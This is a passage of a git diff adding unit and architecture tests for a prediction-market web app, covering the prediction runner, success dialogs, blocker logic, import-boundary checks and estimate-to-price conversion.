expect(driver.reset).not.toHaveBeenCalled(); + }); + + it("neither starts nor clears a stored run that stopped and cannot be retried", () => { + progress = { ...progressAt("halted", false), recovered: snapshot() }; + mount(); + fireEvent.click(screen.getByText("predict")); + + expect(driver.start).not.toHaveBeenCalled(); + expect(driver.reset).not.toHaveBeenCalled(); + expect(driver.resume).not.toHaveBeenCalled(); + }); + + it("keeps a stored run under review when closed", () => { + progress = { ...progressAt("review"), recovered: snapshot() }; + const view = mount(); + fireEvent.click(screen.getByText("close")); + + expect(driver.reset).not.toHaveBeenCalled(); + expect(view.onClose).toHaveBeenCalledTimes(1); + }); + + it("closes without touching a run that never started", () => { + const view = mount(); + fireEvent.click(screen.getByText("close")); + + expect(driver.reset).not.toHaveBeenCalled(); + expect(view.onClose).toHaveBeenCalledTimes(1); + }); +}); + +describe("PredictRunner, draft removals and the default token", () => { + it("clears an estimate removed in the popup only once predict is pressed", () => { + const detail = session(); + const market = detail.options[0]!.market; + useEstimateStore.setState({ estimates: {} }); + useEstimateStore.getState().setEstimate(detail.parentMarket, market, 312); + const saved = () => useEstimateStore.getState().estimates[detail.parentMarket.toLowerCase()]; + mount(detail); + + fireEvent.click(screen.getByText("remove")); + expect(screen.getByTestId("listed")).toHaveTextContent("0"); + expect(saved()).toEqual({ [market.toLowerCase()]: 312 }); + + fireEvent.click(screen.getByText("predict")); + expect(saved()).toBeUndefined(); + }); + + it("keeps the default token when a balance refresh would now pick the other one", () => { + heldMore = "native"; + const view = mount(); + expect(screen.getByTestId("token")).toHaveTextContent("xDAI"); + + heldMore = "collateral"; + view.rerenderAt(); + + expect(screen.getByTestId("token")).toHaveTextContent("xDAI"); + }); + + it("clamps the amount to the new token's balance rounded down to the shown decimals", () => { + heldMore = "collateral"; + nativeAvailable = 5_000_012_340_000_000_000n; + mount(); + + fireEvent.click(screen.getByText("pay ten")); + fireEvent.click(screen.getByText("pay in xDAI")); + + expect(screen.getByTestId("token")).toHaveTextContent("xDAI"); + expect(screen.getByTestId("amount")).toHaveTextContent(/^5000000000000000000$/); + }); +}); + +describe("PredictRunner, a popup left open across the session's close", () => { + it("says the session has closed once the page flips to closed, and signs nothing on Predict", () => { + const detail = session({ openingTime: String(Math.floor(Date.now() / 1000) + 60) }); + const view = mount(detail); + expect(screen.getByTestId("notice")).toBeEmptyDOMElement(); + expect(lastInput?.closesAt).toBe(Math.floor(detail.closesAt!.getTime() / 1000)); + + view.rerenderAt("closed"); + fireEvent.click(screen.getByText("predict")); + + expect(screen.getByTestId("notice")).toHaveTextContent("This session has closed."); + expect(driver.start).not.toHaveBeenCalled(); + }); + + it.each([ + ["a moved run", { ...progressAt("moved"), moved: { markets: [], plans: {} } }, "confirm"], + ["a run under review", progressAt("review"), "resume"], + ["a run to try again", { ...progressAt("halted", true), moneyMoved: true }, "retry"], + ] satisfies Array<[string, PredictProgress, keyof PredictDriver]>)( + "does not go on with %s once the session has closed", + (_name, at, action) => { + progress = at; + mount(session(), "closed"); + + fireEvent.click(screen.getByText("predict")); + + expect(driver[action]).not.toHaveBeenCalled(); + expect(driver.start).not.toHaveBeenCalled(); + }, + ); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.verifiedDenomination.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.verifiedDenomination.test.tsx new file mode 100644 index 00000000..f52e4447 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.verifiedDenomination.test.tsx @@ -0,0 +1,110 @@ +import type { ReactNode } from "react"; + +import { createFlowRunStore, createMemoryStorage, type FlowTx, type TxGateway } from "@foresight/tx-orchestrator"; +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { fireEvent, render, renderHook, screen, waitFor } from "@testing-library/react"; +import { decodeFunctionData, erc20Abi, type Hash, type TransactionReceipt } from "viem"; +import { afterEach, expect, it, vi } from "vitest"; + +import { PredictAmountSection } from "@/features/predict/components/PredictAmountSection"; +import { addresses, ctx, fakeQuoter, fakeReader, snapshot, WAD } from "@/features/predict/flow/__tests__/support/fakes"; +import { createPredictRun } from "@/features/predict/run/driver"; +import type { PredictDriver } from "@/features/predict/run/types"; +import { planFunding, fundingRequest } from "@/features/predict/utils/funding"; +import { useSession } from "@/features/sessions/api/getSession"; +import { sessionChildRow, sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; + +import { fetchGraphql } from "@/lib/graphql/batcher"; +import { executorAddress } from "@/lib/trade-executor/executor"; + +vi.mock("@/lib/graphql/batcher", () => ({ fetchGraphql: vi.fn() })); +vi.mock("@/lib/web3/public-client", async () => ({ + publicClient: (await import("@/features/sessions/api/__tests__/support/verifiedSession")).verifiedClient, +})); +vi.mock("@/config/ipfs", () => ({ IPFS_GATEWAY: "https://example.test/ipfs" })); +vi.mock("@/config/chains", () => ({ DEFAULT_CHAIN_ID: 100 })); + +const SDAI = "0xaf204776c7245bF4147c2612BF6e5972Ee483701"; +const OWNER = addresses.owner; +const EXECUTOR = executorAddress(addresses.factory, OWNER); +const drivers: PredictDriver[] = []; +afterEach(() => { + drivers.splice(0).forEach((d) => d.dispose()); + vi.clearAllMocks(); +}); + +function gateway() { + const sends: FlowTx[] = []; + const receipt = (hash: Hash) => + ({ transactionHash: hash, status: "success", blockNumber: 1n, logs: [] }) as unknown as TransactionReceipt; + const api: TxGateway = { + sendTransaction: async (tx) => { + sends.push(tx); + return `0x${sends.length.toString(16).padStart(64, "0")}` as Hash; + }, + waitForReceipt: async ({ hash }) => receipt(hash), + getReceipt: async (hash) => receipt(hash), + isKnown: async () => true, + }; + return { sends, api }; +} + +it("uses the verified denomination when indexed decimals would multiply the signed deposit", async () => { + vi.mocked(fetchGraphql).mockResolvedValue({ + Session: [ + { + ...sessionDetailColumns, + collateralToken: SDAI, + collateralSymbol: "sDAI", + collateralDecimals: 20, + children: [sessionChildRow({ parentOutcomeIndex: "0" })], + }, + ], + }); + const client = new QueryClient({ defaultOptions: { queries: { retry: false } } }); + const wrapper = ({ children }: { children: ReactNode }) => ( + {children} + ); + const session = renderHook(() => useSession(sessionDetailColumns.parentMarket), { wrapper }); + await waitFor(() => expect(session.result.current.isSuccess).toBe(true)); + const detail = session.result.current.data!; + const token = { id: "collateral" as const, symbol: detail.collateralSymbol!, decimals: detail.collateralDecimals! }; + const onAmountChange = vi.fn(); + render( + , + ); + const input = screen.getByRole("spinbutton", { name: "Amount" }); + fireEvent.change(input, { target: { value: "1" } }); + fireEvent.blur(input); + const amount = onAmountChange.mock.calls.at(-1)![0] as bigint; + expect(amount).toBe(WAD); + expect(input).toHaveValue("1"); + const funding = planFunding({ amount, ownWallet: 100n * WAD, tradeWallet: 0n }); + const { sends, api } = gateway(); + const driver = createPredictRun({ + gateway: api, + reader: fakeReader({ deployed: true }), + quoter: fakeQuoter(), + flowId: "verified-decimals", + store: createFlowRunStore({ storage: createMemoryStorage() }), + ctx: () => ctx({ collateral: SDAI, executor: EXECUTOR }), + snapshot: () => snapshot(fundingRequest(funding, false)), + }); + drivers.push(driver); + driver.start(); + await waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + const deposit = sends.find((tx) => tx.to === SDAI)!; + const decoded = decodeFunctionData({ abi: erc20Abi, data: deposit.data! }); + expect(decoded.functionName).toBe("transfer"); + expect(decoded.args).toEqual([EXECUTOR, WAD]); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictSuccessDialog.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictSuccessDialog.test.tsx new file mode 100644 index 00000000..821a37ff --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictSuccessDialog.test.tsx @@ -0,0 +1,205 @@ +import { render, screen, within } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import { PredictSuccessDialog } from "../PredictSuccessDialog"; + +/* A visitor already subscribed by default, so the dialog renders without the sign-in flow. */ +let atlas: Record = {}; +vi.mock("@kleros/kleros-app", async (importOriginal) => ({ + ...(await importOriginal()), + useAtlasProvider: () => atlas, +})); + +let address: string | undefined; +vi.mock("wagmi", () => ({ useAccount: () => ({ address }) })); + +beforeEach(() => { + atlas = { user: { email: "visitor@example.com" }, userExists: true }; + address = "0xa11ce000000000000000000000000000000a11ce"; +}); + +describe("PredictSuccessDialog", () => { + it.each([ + [["Hanoi"], "Could not be traded: Hanoi."], + [["Berlin", "Hanoi"], "Could not be traded: Berlin, Hanoi."], + ])("names what it left out: %j", (leftOut, line) => { + render(); + + expect(screen.getByText(line)).toBeInTheDocument(); + }); + + it("counts what was placed out of every estimate when some were left out", () => { + render( + , + ); + + expect(screen.getByText("2 of 4 estimates · 10 sDAI")).toBeInTheDocument(); + }); + + it("is named by its heading", () => { + render(); + + expect(screen.getByRole("dialog", { name: "Prediction successful" })).toBeInTheDocument(); + expect(screen.getByRole("heading", { level: 1, name: "Prediction successful" })).toBeInTheDocument(); + }); + + it("offers the email once to a visitor not yet subscribed, without a line restating its heading", () => { + atlas = { userExists: false, isVerified: false, isSigningIn: false, authoriseUser: vi.fn() }; + render(); + + expect(screen.getByRole("heading", { name: "Get an email when the market resolves" })).toBeInTheDocument(); + expect(screen.getByRole("button", { name: "Sign in to subscribe" })).toBeInTheDocument(); + expect(screen.queryByText(/when this market resolves/)).toBeNull(); + }); + + it("closes on a quiet wide button for a visitor already subscribed, as nothing is at stake", async () => { + const onClose = vi.fn(); + render(); + const close = screen.getByRole("button", { name: "Close" }); + + expect(close).toHaveAttribute("data-quiet", "true"); + await userEvent.click(close); + expect(onClose).toHaveBeenCalledTimes(1); + }); + + it("makes Close a text action beside the sign-in, which is the one action there", async () => { + atlas = { userExists: false, isVerified: false, isSigningIn: false, authoriseUser: vi.fn() }; + const onClose = vi.fn(); + render(); + const close = screen.getByRole("button", { name: "Close" }); + + expect(close).not.toHaveClass("predict-cta"); + expect(document.querySelectorAll(".predict-cta")).toHaveLength(1); + await userEvent.click(close); + expect(onClose).toHaveBeenCalledTimes(1); + }); + + it("says what was placed under its title", () => { + render( + , + ); + + expect(screen.getByText("2 estimates · 10 sDAI")).toBeInTheDocument(); + }); + + it("names only the estimates when nothing was paid", () => { + render( + , + ); + + expect(screen.getByText("1 estimate")).toBeInTheDocument(); + }); + + it("names the subscribed email in one sentence, with a link to change it in Settings", () => { + render(); + + expect(screen.getByText(/^You'll get an email at/)).toHaveTextContent( + "You'll get an email at visitor@example.com when the market resolves.", + ); + expect(screen.queryByRole("textbox")).toBeNull(); + expect(screen.getByRole("link", { name: "Change in Settings" })).toHaveAttribute( + "href", + "/settings?tab=notifications", + ); + }); + + it.each([ + [false, true], + [true, false], + [undefined, false], + ])("warns the email will not arrive when isEmailVerified is %s: %s", (isEmailVerified, warns) => { + atlas = { user: { email: "visitor@example.com", isEmailVerified }, userExists: true }; + render(); + + expect(Boolean(screen.queryByText("Confirm your email first, or it will not arrive."))).toBe(warns); + expect(screen.getByRole("link", { name: warns ? "Confirm in Settings" : "Change in Settings" })).toHaveAttribute( + "href", + "/settings?tab=notifications", + ); + }); + + it("keeps the sign-in's label beside a spinner while the wallet signs, and cannot be pressed", () => { + atlas = { userExists: false, isVerified: false, isSigningIn: true, authoriseUser: vi.fn() }; + render(); + const button = screen.getByRole("button", { name: "Signing in…" }); + + expect(button).toBeDisabled(); + expect(button).toHaveAttribute("data-busy", "true"); + expect(within(button).getByText("Signing in…")).not.toHaveClass("invisible"); + expect(within(button).getByTestId("predict-spinner")).toBeInTheDocument(); + }); + + it("asks the wallet to sign once when the sign-in is pressed", async () => { + const authoriseUser = vi.fn().mockResolvedValue(undefined); + atlas = { userExists: false, isVerified: false, isSigningIn: false, authoriseUser }; + render(); + + await userEvent.click(screen.getByRole("button", { name: "Sign in to subscribe" })); + expect(authoriseUser).toHaveBeenCalledTimes(1); + }); + + it("cannot be pressed to sign in with no wallet connected", () => { + address = undefined; + atlas = { userExists: false, isVerified: false, isSigningIn: false, authoriseUser: vi.fn() }; + render(); + + expect(screen.getByRole("button", { name: "Sign in to subscribe" })).toBeDisabled(); + }); + + it("says where the position shows, in the market's own word for an option", () => { + render(); + + expect(screen.getByText("See your position under each city.")).toBeInTheDocument(); + }); + + it("lists the run's steps without links on a chain with no explorer, as on a local node", () => { + render( + , + ); + const list = screen.getByRole("list", { name: "Transactions" }); + + const [wallet, funds, prediction, ...rest] = within(list).getAllByRole("listitem"); + expect(rest).toEqual([]); + expect(within(wallet!).getByText("Trade wallet created")).toBeInTheDocument(); + expect(within(funds!).getByText("Funds added")).toBeInTheDocument(); + expect(within(funds!).getByText("10 sDAI")).toBeInTheDocument(); + expect(within(prediction!).getByText("Prediction placed")).toBeInTheDocument(); + expect(within(list).queryAllByRole("link")).toEqual([]); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictSuccessView.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictSuccessView.test.tsx new file mode 100644 index 00000000..10b11adf --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictSuccessView.test.tsx @@ -0,0 +1,75 @@ +import { render, screen, within } from "@testing-library/react"; +import { gnosis } from "viem/chains"; +import { describe, expect, it, vi } from "vitest"; + +import { explorerTxUrl } from "@/config/site"; + +import { type PlacedPrediction, PredictSuccessView } from "../PredictSuccessView"; + +const WAD = 10n ** 18n; +const hash = (n: number) => `0x${n.toString(16).padStart(64, "0")}` as const; +const WALLET = "0xdcee0000000000000000000000000000000c664f" as const; + +const view = (placed: Partial) => + render( + explorerTxUrl(tx, gnosis)} + />, + ); + +describe("PredictSuccessView's receipt", () => { + it("links each step to its transaction on the explorer, in a new tab", () => { + view({ + steps: [ + { id: "create-wallet", hash: hash(1) }, + { id: "deposit", hash: hash(2) }, + { id: "predict-1", hash: hash(3) }, + ], + funds: { toAdd: 10n * WAD, symbol: "sDAI", decimals: 18 }, + wallet: WALLET, + }); + const list = screen.getByRole("list", { name: "Transactions" }); + + expect( + within(list) + .getAllByRole("link") + .map((link) => [link.getAttribute("aria-label"), link.getAttribute("href"), link.getAttribute("target")]), + ).toEqual([ + ["Trade wallet transaction, 0x000000…0001", `https://gnosisscan.io/tx/${hash(1)}`, "_blank"], + ["Funds transaction, 0x000000…0002", `https://gnosisscan.io/tx/${hash(2)}`, "_blank"], + ["Prediction transaction, 0x000000…0003", `https://gnosisscan.io/tx/${hash(3)}`, "_blank"], + ]); + expect(within(list).getByText("0xdcee...664f")).toBeInTheDocument(); + }); + + it("numbers each batch's link on the one prediction row", () => { + view({ steps: [1, 2, 3].map((n) => ({ id: `predict-${n}`, hash: hash(n + 2) })) }); + const row = screen.getByRole("listitem"); + + expect( + within(row) + .getAllByRole("link") + .map((link) => link.textContent), + ).toEqual(["1", "2", "3"]); + expect(within(row).getByRole("link", { name: "Prediction transaction 2 of 3, 0x000000…0004" })).toBeVisible(); + }); + + it("draws a done bullet per row and no check mark of its own", () => { + view({ + steps: [ + { id: "deposit", hash: hash(2) }, + { id: "predict-1", hash: hash(3) }, + ], + }); + + expect(document.querySelectorAll('[data-bullet="done"]')).toHaveLength(2); + expect(screen.queryByTestId("success-mark")).toBeNull(); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/SessionHeader.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/SessionHeader.test.tsx index 9baa62d8..5e4736b0 100644 --- a/apps/web/src/app/market/[parentMarket]/_components/__tests__/SessionHeader.test.tsx +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/SessionHeader.test.tsx @@ -1,4 +1,4 @@ -import { render, screen } from "@testing-library/react"; +import { fireEvent, render, screen } from "@testing-library/react"; import { parseEther } from "viem"; import { describe, expect, it } from "vitest"; @@ -55,6 +55,24 @@ describe("SessionHeader", () => { }); }); + it("falls back to the gradient when the hero image fails to load", () => { + const { container } = renderHeader({ overrides: { heroImage: "ipfs://QmHero" } }); + + fireEvent.error(screen.getByTestId("hero-probe")); + + expect(container.querySelector('[role="presentation"]')).toHaveStyle({ + backgroundImage: expect.stringContaining("linear-gradient"), + }); + }); + + it("drops the session icon when it fails to load", () => { + renderHeader({ overrides: { icon: "ipfs://QmIcon" } }); + + fireEvent.error(screen.getByTestId("session-icon")); + + expect(screen.queryByTestId("session-icon")).toBeNull(); + }); + it("shows the session icon over the banner edge", () => { const { container } = renderHeader({ overrides: { icon: "ipfs://QmIcon" } }); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/predictBlocker.test.ts b/apps/web/src/app/market/[parentMarket]/_components/__tests__/predictBlocker.test.ts new file mode 100644 index 00000000..d809fbbf --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/predictBlocker.test.ts @@ -0,0 +1,77 @@ +import { describe, expect, it } from "vitest"; + +import { predictBlocker } from "../predictBlocker"; + +const LIQUID = "0xAaAa000000000000000000000000000000000001"; +const DRY = "0xbbbb000000000000000000000000000000000002"; + +const blocker = (marketEstimates: Record) => + predictBlocker({ + status: "trading", + options: [{ market: LIQUID }, { market: DRY }], + marketEstimates, + isMarketUnknown: false, + selectedCount: 0, + isConnected: true, + }); + +describe("predictBlocker with nothing selected", () => { + it("asks for an estimate to move when one option of several has liquidity", () => { + expect(blocker({ [LIQUID.toLowerCase()]: 312 })).toBe("no-move"); + }); + + it("reports no liquidity only when no option has any", () => { + expect(blocker({})).toBe("no-liquidity"); + }); + + it("matches a mixed-case market to its lower-case market estimate", () => { + expect(blocker({ [LIQUID.toLowerCase()]: 312, [DRY]: undefined })).toBe("no-move"); + }); +}); + +describe("predictBlocker with an estimate moved", () => { + const moved = (isConnected: boolean) => + predictBlocker({ + status: "trading", + options: [{ market: LIQUID }], + marketEstimates: { [LIQUID.toLowerCase()]: 312 }, + isMarketUnknown: false, + selectedCount: 1, + isConnected, + }); + + it("asks for a wallet when none is connected", () => { + expect(moved(false)).toBe("disconnected"); + }); + + it("has nothing to say with a wallet connected", () => { + expect(moved(true)).toBeNull(); + }); +}); + +describe("predictBlocker with an unfinished run stored", () => { + const stored = (overrides: Partial[0]> = {}) => + predictBlocker({ + status: "trading", + options: [{ market: LIQUID }], + marketEstimates: { [LIQUID.toLowerCase()]: 312 }, + isMarketUnknown: false, + selectedCount: 1, + isConnected: true, + hasStoredRun: true, + ...overrides, + }); + + it("asks for the run to be resumed or discarded once an estimate is moved", () => { + expect(stored()).toBe("unfinished"); + }); + + it("names the run before an unmoved estimate or a market still loading", () => { + expect(stored({ selectedCount: 0 })).toBe("unfinished"); + expect(stored({ isMarketUnknown: true })).toBe("unfinished"); + }); + + it("still says trading has closed first", () => { + expect(stored({ status: "closed" })).toBe("closed"); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/predictSeam.test.ts b/apps/web/src/app/market/[parentMarket]/_components/__tests__/predictSeam.test.ts new file mode 100644 index 00000000..e4478d25 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/predictSeam.test.ts @@ -0,0 +1,135 @@ +import { readdirSync, readFileSync } from "node:fs"; +import path from "node:path"; + +import { describe, expect, it } from "vitest"; + +// What `ui-logic-seam` and `bulletproof-web` forbid is a property of the source text, so it is read as text. +const COMPONENTS = path.resolve(import.meta.dirname, ".."); +const ROUTE = path.resolve(COMPONENTS, ".."); +const FEATURES = path.resolve(import.meta.dirname, "../../../../../features"); + +const read = (file: string) => readFileSync(file, "utf8"); + +/** Source files under `dir`, tests excluded. */ +function sources(dir: string): string[] { + return readdirSync(dir, { withFileTypes: true }).flatMap((entry) => { + const full = path.join(dir, entry.name); + if (entry.isDirectory()) return entry.name === "__tests__" ? [] : sources(full); + return /\.tsx?$/.test(entry.name) && !/\.test\.tsx?$/.test(entry.name) ? [full] : []; + }); +} + +const runner = () => read(path.join(COMPONENTS, "PredictRunner.tsx")); + +/** Whether `text` pulls PredictRunner into its own module graph. */ +const loadsRunnerStatically = (text: string) => + /^\s*(?:import|export)\s(?:[^;]*from\s+)?["'][^"']*\/PredictRunner(?:\.[jt]sx?)?["']/m.test(text); + +describe("PredictRunner stays on its side of the seam", () => { + it.each(["gnosisRouterAddress", "tradeExecutorFactoryAddress", "sDaiDepositRoute", "@/config/contracts"])( + "does not resolve execution contracts through %s", + (name) => { + expect(runner()).not.toContain(name); + }, + ); + + it.each(["fundsKeyPrefix", "executorKey", "sessionChartKey", "queryKey", "invalidateQueries", "useQueryClient"])( + "does not reach the query cache through %s", + (name) => { + expect(runner()).not.toContain(name); + }, + ); + + it("holds no execution address literal or contract module import", () => { + const source = runner() + .replace(/\/\*[\s\S]*?\*\//g, "") + .replace(/(^|[^:])\/\/.*$/gm, "$1"); + expect(source.match(/0x[0-9a-fA-F]{40}/g) ?? []).toEqual([]); + const imports = [...source.matchAll(/(?:from\s+|import\s*\(\s*|import\s+)["'`]([^"'`]+)["'`]/g)]; + expect(imports.map((match) => match[1]).filter((name) => /contracts/.test(name!))).toEqual([]); + }); + + it("does not convert estimates to prices itself", () => { + expect(runner()).not.toContain("estimateToPriceWad"); + }); +}); + +describe("cache invalidation for a prediction sits behind a hook", () => { + it("is not called from any file in the market route that returns JSX", () => { + const offenders = sources(ROUTE).filter( + (file) => file.endsWith(".tsx") && read(file).includes("invalidateQueries"), + ); + + expect(offenders.map((file) => path.relative(ROUTE, file))).toEqual([]); + }); + + it("is owned by a non-JSX hook module in the market route that names every key a run changes", () => { + const hooks = sources(ROUTE).filter( + (file) => /^use[A-Z].*\.ts$/.test(path.basename(file)) && read(file).includes("invalidateQueries"), + ); + const text = hooks.map(read).join("\n"); + + expect(hooks.length).toBeGreaterThan(0); + for (const key of ["fundsKeyPrefix", "executorKey", "sessionChartKey"]) expect(text).toContain(key); + }); +}); + +describe("the runner is still loaded on demand", () => { + it("is pulled into the card through a client-only dynamic import", () => { + const card = read(path.join(COMPONENTS, "PredictCard.tsx")); + + expect(card).toMatch(/dynamic\(\s*\(\)\s*=>\s*import\(\s*["']\.\/PredictRunner["']\s*\)/); + expect(card).toMatch(/ssr:\s*false/); + }); + + it("is never imported or re-exported statically", () => { + const statics = sources(path.resolve(FEATURES, "..")).filter((file) => loadsRunnerStatically(read(file))); + + expect(statics.map((file) => path.basename(file))).toEqual([]); + }); + + it.each([ + 'import { PredictRunner } from "./PredictRunner";', + "import {\n PredictRunner,\n} from '../_components/PredictRunner';", + 'export { PredictRunner } from "./PredictRunner";', + "export {\n PredictRunner as Runner,\n} from './PredictRunner';", + 'export * from "@/app/market/[parentMarket]/_components/PredictRunner";', + 'import "./PredictRunner";', + "import '../_components/PredictRunner.tsx';", + 'import { PredictRunner } from "./PredictRunner.tsx";', + 'export { PredictRunner } from "./PredictRunner.js";', + ])("counts %j as a static load", (text) => { + expect(loadsRunnerStatically(text)).toBe(true); + }); + + it("does not count the card's dynamic import as a static load", () => { + expect(loadsRunnerStatically('const Runner = dynamic(() => import("./PredictRunner"), { ssr: false });')).toBe( + false, + ); + }); + + it("does not count an import of a module whose name only starts with PredictRunner", () => { + expect(loadsRunnerStatically('import { RunnerCopy } from "./PredictRunnerCopy";')).toBe(false); + }); +}); + +describe("features stay independent of each other", () => { + const features = readdirSync(FEATURES, { withFileTypes: true }) + .filter((entry) => entry.isDirectory()) + .map((entry) => entry.name); + + it.each(features)("%s imports no other feature", (feature) => { + const crossings = sources(path.join(FEATURES, feature)).flatMap((file) => + [...read(file).matchAll(/from\s+["']@\/features\/([^/"']+)/g)] + .map((match) => match[1]) + .filter((target) => target !== feature) + .map((target) => `${path.relative(FEATURES, file)} -> ${target}`), + ); + + expect(crossings).toEqual([]); + }); + + it("covers predict, sessions and trade-executor", () => { + expect(features).toEqual(expect.arrayContaining(["predict", "sessions", "trade-executor"])); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/toPredictOptions.test.ts b/apps/web/src/app/market/[parentMarket]/_components/__tests__/toPredictOptions.test.ts new file mode 100644 index 00000000..a46861d7 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/toPredictOptions.test.ts @@ -0,0 +1,213 @@ +import { describe, expect, it } from "vitest"; + +import type { PredictOption } from "@/features/predict/flow/types"; +import type { SelectedEstimate } from "@/features/predict/types"; +import type { SessionDetail } from "@/features/sessions/types"; +import { sessionChildRow, sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; +import { toSessionDetail, type SessionDetailRow } from "@/features/sessions/utils/toSessionDetail"; + +import { MAX_PRICE_WAD, MIN_PRICE_WAD } from "@/utils/optionPrice"; + +import { addresses, GATEWAY } from "@/testing/fixtures"; + +import { toPredictOptions, toSavedEstimates } from "../toPredictOptions"; + +type ChildRow = SessionDetailRow["children"][number]; + +const [FIRST, SECOND] = addresses.childMarkets; +const SECOND_UP = "0x1111111111111111111111111111111111111111"; +const SECOND_DOWN = "0x2222222222222222222222222222222222222222"; +const SECOND_UNDERLYING = "0x3333333333333333333333333333333333333333"; +const SECOND_INVALID = "0x4444444444444444444444444444444444444444"; + +const WAD = 10n ** 18n; +const wad = (units: number) => (BigInt(units) * WAD).toString(); + +const second = (overrides: Partial = {}) => + sessionChildRow({ + id: SECOND, + parentOutcomeIndex: "2", + upToken: SECOND_UP, + downToken: SECOND_DOWN, + underlyingToken: SECOND_UNDERLYING, + invalidToken: SECOND_INVALID, + ...overrides, + }); + +const session = (children: ChildRow[] = [sessionChildRow(), second()]) => + toSessionDetail({ ...sessionDetailColumns, children }, GATEWAY); + +/** What the store hands the runner for an estimate on `market`, in that option's own unit. */ +const estimateOn = (detail: SessionDetail, market: string, value: number): SelectedEstimate => { + const scale = detail.options.find((option) => option.market === market); + if (!scale) throw new Error(`no option ${market} in the fixture`); + return { scale, value, marketEstimate: scale.lowerBound, direction: "higher" }; +}; + +describe("toPredictOptions, against a session with every token read", () => { + it("carries the child market and its four tokens with the estimate as an UP price", () => { + const detail = session(); + + // the director scale runs 0 to 500, so 312 sits 62.4% of the way up + expect(toPredictOptions(detail, [estimateOn(detail, FIRST, 312)])).toEqual([ + { + childMarket: FIRST, + underlying: addresses.underlyingToken, + upToken: addresses.upToken, + downToken: addresses.downToken, + invalidToken: addresses.childInvalidToken, + targetPriceWad: 624n * 10n ** 15n, + }, + ]); + }); + + it("burns each child's own INVALID, never the decision's", () => { + const detail = session(); + + const options = toPredictOptions(detail, [estimateOn(detail, FIRST, 100), estimateOn(detail, SECOND, 100)]); + + expect(options.map((option) => option.invalidToken)).toEqual([addresses.childInvalidToken, SECOND_INVALID]); + expect(options.map((option) => option.invalidToken)).not.toContain(detail.invalidToken); + }); + + it("keeps each option's own tokens when several are selected, in the order they were selected", () => { + const detail = session(); + + const options = toPredictOptions(detail, [estimateOn(detail, SECOND, 400), estimateOn(detail, FIRST, 100)]); + + expect(options).toEqual([ + { + childMarket: SECOND, + underlying: SECOND_UNDERLYING, + upToken: SECOND_UP, + downToken: SECOND_DOWN, + invalidToken: SECOND_INVALID, + targetPriceWad: 8n * 10n ** 17n, + }, + { + childMarket: FIRST, + underlying: addresses.underlyingToken, + upToken: addresses.upToken, + downToken: addresses.downToken, + invalidToken: addresses.childInvalidToken, + targetPriceWad: 2n * 10n ** 17n, + }, + ]); + }); + + it("returns nothing for nothing selected", () => { + expect(toPredictOptions(session(), [])).toEqual([]); + }); +}); + +describe("toPredictOptions, against missing token metadata", () => { + const missing = ["upToken", "downToken", "underlyingToken", "invalidToken"] as const; + + it.each(missing)("drops an option whose %s did not read and keeps its complete sibling", (field) => { + const detail = session([sessionChildRow(), second({ [field]: "" })]); + + const options = toPredictOptions(detail, [estimateOn(detail, FIRST, 312), estimateOn(detail, SECOND, 312)]); + + expect(options.map((option) => option.childMarket)).toEqual([FIRST]); + }); + + it("drops every option when none has its tokens", () => { + const detail = session([sessionChildRow({ upToken: "" }), second({ invalidToken: "" })]); + + expect(toPredictOptions(detail, [estimateOn(detail, FIRST, 312), estimateOn(detail, SECOND, 312)])).toEqual([]); + }); + + it("drops an estimate on a market the session does not list", () => { + const detail = session(); + const stray: SelectedEstimate = { + ...estimateOn(detail, FIRST, 312), + scale: { ...estimateOn(detail, FIRST, 312).scale, market: addresses.deployer }, + }; + + expect(toPredictOptions(detail, [stray, estimateOn(detail, SECOND, 250)]).map((o) => o.childMarket)).toEqual([ + SECOND, + ]); + }); +}); + +describe("toPredictOptions, converting estimates to prices", () => { + it("prices on the session's bounds, not on the bounds the estimate carries", () => { + const detail = session(); + const stale = estimateOn(detail, FIRST, 250); + stale.scale = { ...stale.scale, lowerBound: 100, upperBound: 300 }; + + expect(toPredictOptions(detail, [stale])[0]?.targetPriceWad).toBe(WAD / 2n); + }); + + // expected prices are worked by hand: (estimate - lower) / (upper - lower), in 1e18 + it.each([ + { lower: 0, upper: 500, estimate: 250, price: 5n * 10n ** 17n }, + { lower: 0, upper: 500, estimate: 312, price: 624n * 10n ** 15n }, + { lower: 100, upper: 200, estimate: 150, price: 5n * 10n ** 17n }, + { lower: 100, upper: 200, estimate: 125, price: 25n * 10n ** 16n }, + { lower: 0, upper: 3, estimate: 1, price: WAD / 3n }, + ])("prices $estimate on a $lower..$upper scale at $price", ({ lower, upper, estimate, price }) => { + const detail = session([sessionChildRow({ lowerBound: wad(lower), upperBound: wad(upper) })]); + + expect(toPredictOptions(detail, [estimateOn(detail, FIRST, estimate)])[0]?.targetPriceWad).toBe(price); + }); + + it.each([ + { estimate: 0, price: MIN_PRICE_WAD }, + { estimate: -50, price: MIN_PRICE_WAD }, + { estimate: 500, price: MAX_PRICE_WAD }, + { estimate: 900, price: MAX_PRICE_WAD }, + ])("stops an estimate of $estimate short of the scale's bound", ({ estimate, price }) => { + const 